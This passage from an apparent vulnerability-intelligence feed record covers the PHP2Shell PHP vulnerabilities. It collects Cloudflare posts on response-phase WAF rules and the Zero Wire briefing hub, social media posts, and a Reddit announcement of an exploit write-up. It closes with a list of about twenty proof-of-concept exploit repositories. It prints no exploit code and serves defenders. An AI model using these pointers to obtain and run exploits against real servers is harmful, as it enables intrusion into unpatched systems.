detections.\n\n## Copy link Managed detections\n\nAll customers get the protection of the full array of transaction detections through the Cloudflare Managed Response Firewall Default ruleset, which is designed for a simple one-click deploy and simplified configurability. When a signature matches, the managed detection will block the response and return a standard WAF block page.\n\nYou can edit the Cloudflare Managed Response Firewall Default scope to run detections only on a portion of their applications, for example by excluding or restricting the detection to a specific path. Paying customers can use detection fields in custom response rules to create more tailored policies.\n\nCloudflare Managed Response Firewall Default runs on every request by default. To reduce the risk of false positives, customers can restrict the scope of the mitigation to a portion of their application.\n\n## Copy link Custom rules\n\nCustom response rules are designed to give customers full control of the rule logic. A useful rule can stop an administration interface from being exposed when an authentication gateway has not marked the request as internal. For example:\n\n`http.request.uri.path starts_with \"/admin\" and not http.request.headers[\"x-internal-user\"][0] eq \"true\" and http.response.code eq 200 and http.response.headers[\"content-type\"][0] contains \"text/html\" `\n\nThis blocks only when an unauthenticated request targets `/admin` and the origin actually returns a successful HTML administration page. It does not block ordinary authentication failures, redirects, or non-administration traffic.\n\nAll customers can create response rules by combining both request and response fields.\n\nAll customers can create up to three custom response rules supporting Log and Block actions. The fields and functions available in response to custom rules mirrors what your plan gives you access to in request custom rules already. Creating rules on the response body is not yet available.\n\nFollowing the Attack Signature Detection approach, paying customers also have access to the outcome of attack detections through the `cf.waf.signature.response.*` fields listed above. These fields can be combined with other parameters (such as a hostname, URL path, source IP, request header) to enable protection on a single path, or limit the policy to application-specific context. We are currently rolling out the response fields to all our accounts. If you don’t have access to them yet, please contact your account team.\n\n## Copy link Investigating matching requests\n\nWhen a managed or custom response rule logs or blocks a transaction, the event is available in Security Events. This means responders can trace any detection back to the full context of the request and the specific rule that took action.\n\nAt the moment, both request-only rules and full-transaction rules are shown together in the same analytics page. In Security Events, the events generated by response rules are part of the Managed Rules or Custom Rules service. You can filter events belonging to a specific rule ID in the relative rule list section.\n\n## Copy link Get started today\n\nFull transaction detection is generally available for all zones proxying traffic through Cloudflare. To verify that you’re protected, go to Security > Security Rules in the Cloudflare dashboard. If you want to customize your policy, start by reviewing full transaction detections in Security Analytics, then create the response phase policy that fits your application.","published_at":"2026-10-21T14:10:42+00:00","relation":"advisory","confidence":null,"note":null},{"id":57906,"url":"https://blog.cloudflare.com/zero-wire/","title":"Cloudflare: Introducing Zero Wire, a hub for investigating critical Internet vulnerabilities  | Cloudflare Blog","kind":"advisory","source":"lab","publisher":"vendor","text":"Introducing Zero Wire, a hub for investigating critical Internet vulnerabilities | Cloudflare Blog\n\nNovember 3, 2026\n\n# Introducing Zero Wire, a hub for investigating critical Internet vulnerabilities \n\nDaniele Molteni\n\n and \n\nCelso Martinho\n\nYou run security at your organization. It’s 7:00 am, and you’re having breakfast. You receive a ping: a new critical vulnerability has been disclosed. Your team scrambles to compare vendor advisories, read technical research, check which systems run the affected software, and answer familiar questions from the business: are we affected, and what are we doing about it? Another disclosure arrives before that work is finished.\n\nAI is changing both the volume and speed of critical vulnerability discovery. It can analyze large codebases at scale and surface deeply nested flaws that may have existed for years without being found through human review. That discovery momentum will put more pressure on security teams to understand the impact of each disclosure on their infrastructure.\n\nTo help security teams prepare, today we’re introducing Zero Wire: a public vulnerability intelligence feed on Cloudflare Radar, bringing the clarity of a news wire service to critical security developments. It helps security leaders and practitioners understand significant vulnerabilities and decide what to do next.\n\n## Copy link How it works\n\nZero Wire lives inside Cloudflare Radar under the security section.\n\nEach briefing brings together a plain-language explanation of the vulnerability, who should investigate it, recommended actions, and links to the evidence and vendor guidance. The format is deliberately simple: an index card with what you need to know, without the drama. A CISO should be able to understand the issue quickly and ask the right questions. An engineer should be able to follow the same briefing to the technical guidance needed to investigate and remediate it.\n\nWe also offer a pre-compiled prompt you can use with your agent to assess the impact on your infrastructure. Cloudflare contributes security research, observations from our network, and practical knowledge of the controls that can help reduce exposure. The information is useful whether or not you are a Cloudflare customer. \n\nZero Wire brings that context together with authoritative external sources, giving readers a starting point for assessment and a place to return as an issue develops.\n\n## Copy link Our focus\n\nRather than a catalog of every CVE, Zero Wire complements vendor advisories and vulnerability databases, linking readers to the evidence and technical guidance needed to act. Zero Wire focuses on critical CVEs in Internet-facing software, such as vulnerabilities in web applications, the runtimes and libraries they depend on, and services exposed to the Internet, where a proxy can help mitigate exploitation.\n\nWe select significant issues that security teams need to understand and assess. Each briefing explains the potential impact, which deployments should be investigated, what is known about exploitation, and the available mitigation and patching guidance. A vulnerability’s severity and evidence of active exploitation are distinct: readers need both to make informed decisions.\n\nA dedicated Cloudflare protection, such as Web Application Firewall (WAF) rules, is not a prerequisite for inclusion. Some issues require vendor updates or changes beyond the traffic Cloudflare can inspect. Where Cloudflare controls can help, we explain their scope and configuration requirements.\n\n## Copy link A walk through Zero Wire\n\nStart on the Zero Wire homepage. Each card introduces an issue, identifies associated CVEs where applicable, and summarizes why it matters and what to do. You can search for a published briefing using a CVE or issue name, and follow technology tags to related entries. One briefing can cover several related CVEs when understanding them together makes the response clearer.\n\n### Copy link Find what needs attention\n\nThe homepage separates briefings into two categories. “Needs attention” brings together issues requiring active assessment or action, including those with known exploitation or developing guidance. “Reference” keeps briefings available when guidance has stabilized. Moving to “Reference” does not mean every affected system has been patched: an older vulnerability can still matter to an organization that has not completed remediation.\n\nThe status and last-checked date help you interpret each card. Known exploitation, an ongoing investigation, and an available vendor fix describe different things. Read them alongside the briefing’s evidence rather than treating them as a verdict on your own environment.\n\n### Copy link Understand what happened and who should investigate\n\nWhen you open a briefing, the overview tells you what happened, why it deserves attention, and which teams should investigate. The explanation connects the technical issue to its practical consequences, such as service disruption or risk of data exposure.\n\nFor example, the recent php2shell vulnerability concerns flaws in the PHP runtime. That distinction matters for teams running applications such as WordPress or Magento: updating application code or a plugin alone does not repair the underlying runtime. The briefing helps readers identify the right system owners and directs them to the PHP security guidance for affected versions and remediation.\n\n### Copy link Turn the briefing into an action plan\n\nWhat to do now gives your team a short set of next steps. Depending on the issue, that can mean identifying affected deployments, checking versions with a hosting provider, applying vendor updates, reviewing suspicious activity, or keeping compensating controls in place while patching.\n\nThe purpose is to make the next conversation concrete. For a PHP deployment, ask which runtime is actually running, whether the vendor’s fix has been applied, and who owns the update. Follow the linked vendor advisory for detailed applicability and remediation instructions, which can change as the investigation develops.\n\n### Copy link Assess your exposure with an AI agent\n\nIn this section, we share a prompt that can be used with your AI agent to quickly assess the impact on your infrastructure. The prompt asks for a read-only assessment of deployed software, relevant vendor fixes, exposure, and compensating controls, with per-asset evidence, unknowns, and next actions. It helps your team investigate its own environment; copying the prompt does not itself scan or change systems.\n\n### Copy link Check the evidence and follow what changed\n\nTo help you learn more about the vulnerability, each briefing links to external documents such as CVE records, research, and relevant exploitation evidence, including CISA’s Known Exploited Vulnerabilities Catalog. These sources answer different questions. A vendor advisory establishes affected versions and remediation guidance. An exploitation report provides evidence of attacker activity. \n\nIf applicable to a briefing, Cloudflare can add context about traffic seen on our network, for example by showing traffic matching WAF rules that indicates exploitation attempts. Those distinctions matter. Observing an attack attempt does not establish that a particular organization was compromised. Equally, a lack of observed attempts on Cloudflare’s network does not establish that exploitation is absent elsewhere. Briefings distinguish what the sources establish from what remains unknown.\n\nWhere available, charts add context to that evidence. The php2shell briefing shows the volume of HTTP requests matching Cloudflare WAF managed rules over time. Note that requests matching these rules are not a count of compromised systems or successful exploits; the chart aims at providing practitioners a sense of what the focus level is by threat actors on a particular vulnerability.\n\nFinally, update chronology records important developments, such as new advisories or changes to the evidence and response guidance. Together with the last-checked date, it helps returning readers understand what has changed since their previous visit.\n\n### Copy link Understand Cloudflare’s role\n\nThe Cloudflare section provides links to whether we offer compensating controls or provide a way to mitigate the vulnerability impact on your infrastructure. \n\nIf a particular CVE can be addressed with a WAF rule, the briefing reports its availability and essential configuration requirements. When applicable, paid Plans and free Plans links take customers to the relevant dashboard configuration. The next step is explicit: “Review your WAF configuration to determine whether you are protected”. A link allows you to review your security posture, it does not automatically enable a rule or verify a deployment.\n\nNote that a WAF mitigation is a compensating control for the traffic it covers, it is not a replacement for fixing vulnerable software. Blocking the requests can prevent exposed data from reaching an attacker, but it cannot undo actions already performed at the origin. The security teams should always follow the vendor remediation guidance.\n\n## Copy link Stay informed with Zero Wire\n\nA useful vulnerability briefing should leave you with a clearer understanding of the issue and a concrete next step. Day Zero brings those essentials together: what happened, who should investigate, what to do now, and where to find the evidence.","published_at":"2026-11-03T14:00:00+00:00","relation":"advisory","confidence":null,"note":null},{"id":80647,"url":"https://x.com/MsftSecIntel/status/2118461473068384633","title":"@MsftSecIntel: Amid conflicting reports about PHP2Shell, understanding exposure and conditions ","kind":"post","source":"x","publisher":null,"text":"Amid conflicting reports about PHP2Shell, understanding exposure and conditions for exploitation helps defenders prioritize patching. This Microsoft Threat Intelligence Podcast episode brings together exploit research &amp; IR perspectives on PHP2Shell. https://t.co/H1a9zmBkBN https://t.co/lEdbtIj1wb\n\nlikes 33 reposts 6","published_at":"2026-11-05T21:52:28+00:00","relation":"discussion","confidence":null,"note":"@MsftSecIntel"},{"id":86616,"url":"https://x.com/Cloudflare/status/2118694645538460046","title":"@Cloudflare: Join Grant Bourzikas, Cloudflare’s CISO, and Daniele Molteni, Director of Produc","kind":"post","source":"x","publisher":null,"text":"Join Grant Bourzikas, Cloudflare’s CISO, and Daniele Molteni, Director of Product for Application Security, on November 12, for a practical discussion grounded in the recent PHP2Shell vulnerabilities. They’ll cover how AI is changing attack and defense, and how teams can combine https://t.co/sRaWdpaBg0\n\nlikes 6 reposts 2","published_at":"2026-11-06T13:19:01+00:00","relation":"discussion","confidence":null,"note":"@Cloudflare"},{"id":98894,"url":"https://www.reddit.com/r/netsec/comments/1xqlw37/i_spent_countless_nights_digging_into_php2shell/","title":"r/netsec: I spent countless nights digging into PHP2Shell. Here's a deep dive into how it actually works, from memory to PHP internals to a real exploit.","kind":"post","source":"reddit","publisher":null,"text":"I spent countless nights digging into PHP2Shell. Here's a deep dive into how it actually works, from memory to PHP internals to a real exploit.\n\nWhen the PHP vulnerabilities were first announced, I spent a HUGE amount of time trying to figure out the logic behind them. As many others who tried investigating them probably noticed, there was barely any technical information available at the time. We had a few basic hints: something related to PHP_SESSION_UPLOAD_PROGRESS , some kind of Out of Memory condition, and, of course, that video Calif published showing a dancing girl with a shell running the exploit in the background. 😂 I found that pretty funny, especially considering the scale of the vulnerabilities and how many servers around the world could potentially be affected. Anyway, that was pretty much all we had to work with! Even AI assistants weren't particularly helpful. At the time, they were heavily restricted when it came to this subject. A simple technical question about an internal PHP function could get flagged just because you mentioned PHP and something technical in the same sentence. For those of us without access to a more cybersecurity-focused model, even asking basic questions and using AI to help investigate things was practically impossible. So I started digging into the PHP codebase myself (I was honestly getting a little mentally insane by that point). I spent countless hours going through the source code, tracing functions, setting up experiments, debugging, and trying to understand exactly what was happening behind the scenes. There were long days and endless nights spent following one thing after another, trying to connect all the pieces until things finally started making sense. The more I investigated, the more I realized that I wanted to put everything together somewhere. Not just the final explanation, but the entire process: the PHP internals behind the vulnerabilities, what's happening in memory, why certain things happen the way they do, and how all of this eventually leads to a working exploit. That's how this research project started. I structured the write-up to start from the basics and gradually build up to the actual exploitation. Each part builds on what came before, with the explanations becoming progressively more technical until we get to the real thing. I wanted someone with little or no experience in low-level memory exploitation to be able to follow along and understand how all the pieces fit together. The write-up also goes through the actual exploit code used to solve the \"Steal My Bitcoin\" challenge, breaking it down step by step rather than simply showing the final result. Everything is based on my own research, local experiments, and understanding of the PHP engine. I'm not claiming this is an official analysis or that everything is necessarily correct. I'm still learning, and there might be mistakes or things I've misunderstood. And honestly, I was getting tired of explanations that only scratched the surface without actually showing what was happening internally. I wanted to do something different: a proper, in-depth technical walkthrough covering the entire process, examining the important details and explaining not just WHAT happens, but WHY and HOW it happens. You can read the full write-up here: PHP2Shell: From Memory to C Internals to Real Exploit Code And here's the GitHub repository, which also includes the project files and the backstory behind the research: GitHub Repository submitted by /u/djad04 [link] [comments]","published_at":"2026-11-08T01:00:49+00:00","relation":"discussion","confidence":null,"note":null},{"id":103189,"url":"https://github.com/Zaynux/TryHackMe-PHP2Shell-CVE-2026","title":"Zaynux/TryHackMe-PHP2Shell-CVE-2026","kind":"poc","source":"github","publisher":null,"text":"Análisis de vulnerabilidades PHP2Shell (CVE-2026-109618 y CVE-2026-109619) — TryHackMe\n\nstars 0","published_at":"2026-11-08T19:12:36+00:00","relation":"poc","confidence":null,"note":null}],"disclosures":[],"exploit_sources":[{"type":"poc","url":"https://github.com/akamor2800/php-5.4-cve-2026-php2shell-patch"},{"type":"poc","url":"https://github.com/delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC"},{"type":"poc","url":"https://github.com/delvin-45/php2shell-CVE-2026-109618-CVE-2026-109619-PoC-"},{"type":"poc","url":"https://github.com/dev-maple/php2shell-CVE-2026-109619"},{"type":"poc","url":"https://github.com/devzyai/CVE-2026-109618-POC"},{"type":"poc","url":"https://github.com/emc-kk/php2shell-CVE-2026-109618-CVE-2026-109619-PoC"},{"type":"poc","url":"https://github.com/emirwtz/CVE-2026-109618"},{"type":"poc","url":"https://github.com/fahise/cve-2026-109618-cve-2026-109619-poc"},{"type":"poc","url":"https://github.com/gagaltotal/CVE-2026-109618-109619-php2shell"},{"type":"poc","url":"https://github.com/GOLF2546/PHP2Shell-CVE-2026-109618-CVE-2026-109619"},{"type":"poc","url":"https://github.com/hack-ita/php2shell-cve-2026-109618-109619"},{"type":"poc","url":"https://github.com/Hika-sec/php2shell-CVE-2026-109619"},{"type":"poc","url":"https://github.com/hosun-hwang/CVE-2026-109618-CVE-2026-109619_PoC"},{"type":"poc","url":"https://github.com/IamLucif3r/CVE-2026-109618-exploit"},{"type":"poc","url":"https://github.com/jackyho522/PHP2Shell-CVE-2026-109618-Raw-HTTP"},{"type":"poc","url":"https://github.com/K2uci/PHP2ShellPOC-CVE-2026-109619"},{"type":"poc","url":"https://github.com/lflare/php2shell-cve-2026-109618"},{"type":"poc","url":"https://github.com/lflare/php2shell-cve-2026-109618-109619"},{"type":"poc","url":"https://github.com/mostofajr7-sudo/CVE-2026-109618-CVE-2026-109619-php2shell-"},{"type":"poc","url":"https://github.com/Pr0fEs0r-X/PHP2SHELL-Checker-v-2.0-CVE-2026-115560-"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}